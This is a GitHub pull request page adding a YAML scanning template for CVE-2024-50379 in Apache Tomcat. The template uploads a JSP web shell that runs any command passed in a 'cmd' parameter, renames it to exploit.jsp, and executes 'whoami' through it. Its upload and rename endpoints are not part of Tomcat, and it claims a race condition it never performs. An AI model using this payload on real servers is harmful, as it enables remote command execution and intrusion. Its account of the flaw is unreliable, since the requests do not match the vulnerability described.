Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Added template for CVE-2024-50379 #11499

Open
wants to merge 1 commit into
base: main
Choose a base branch
from
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
74 changes: 74 additions & 0 deletions CVE-2024-50379.yaml
Original file line number Diff line number Diff line change
@@ -0,0 +1,74 @@
id: CVE-2024-50379

info:
name: Apache Tomcat TOCTOU RCE
author: s1d6p01nt7
severity: critical
description: |
Detects vulnerable versions of Apache Tomcat affected by CVE-2024-50379. If detected, it attempts exploitation by uploading a malicious file and verifying execution, including a simulated race condition during the file upload process.
tags: tomcat,rce,cve-2024-50379

http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: header
words:
- "Apache-Coyote"
- type: regex
part: header
regex:
- "Apache Tomcat/(9\\.0\\.(5[0-9]|6[0-9]|7[0-7])|10\\.1\\.[0-7]|11\\.0\\.0-M[0-1])"

- raw:
- |
POST /uploads HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=boundary
Custom-Header: [email protected]
------boundary
Content-Disposition: form-data; name="file"; filename="exploit.tmp"
Content-Type: text/plain
<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>
------boundary--
matchers-condition: and
matchers:
- type: status
status:
- 200

- raw:
- |
POST /uploads/rename HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
Custom-Header: [email protected]
{ "old_name": "exploit.tmp", "new_name": "exploit.jsp" }
matchers-condition: and
matchers:
- type: status
status:
- 200

- raw:
- |
GET /uploads/exploit.jsp?cmd=whoami HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
words:
- "tomcat"

stop-at-first-match: true
Loading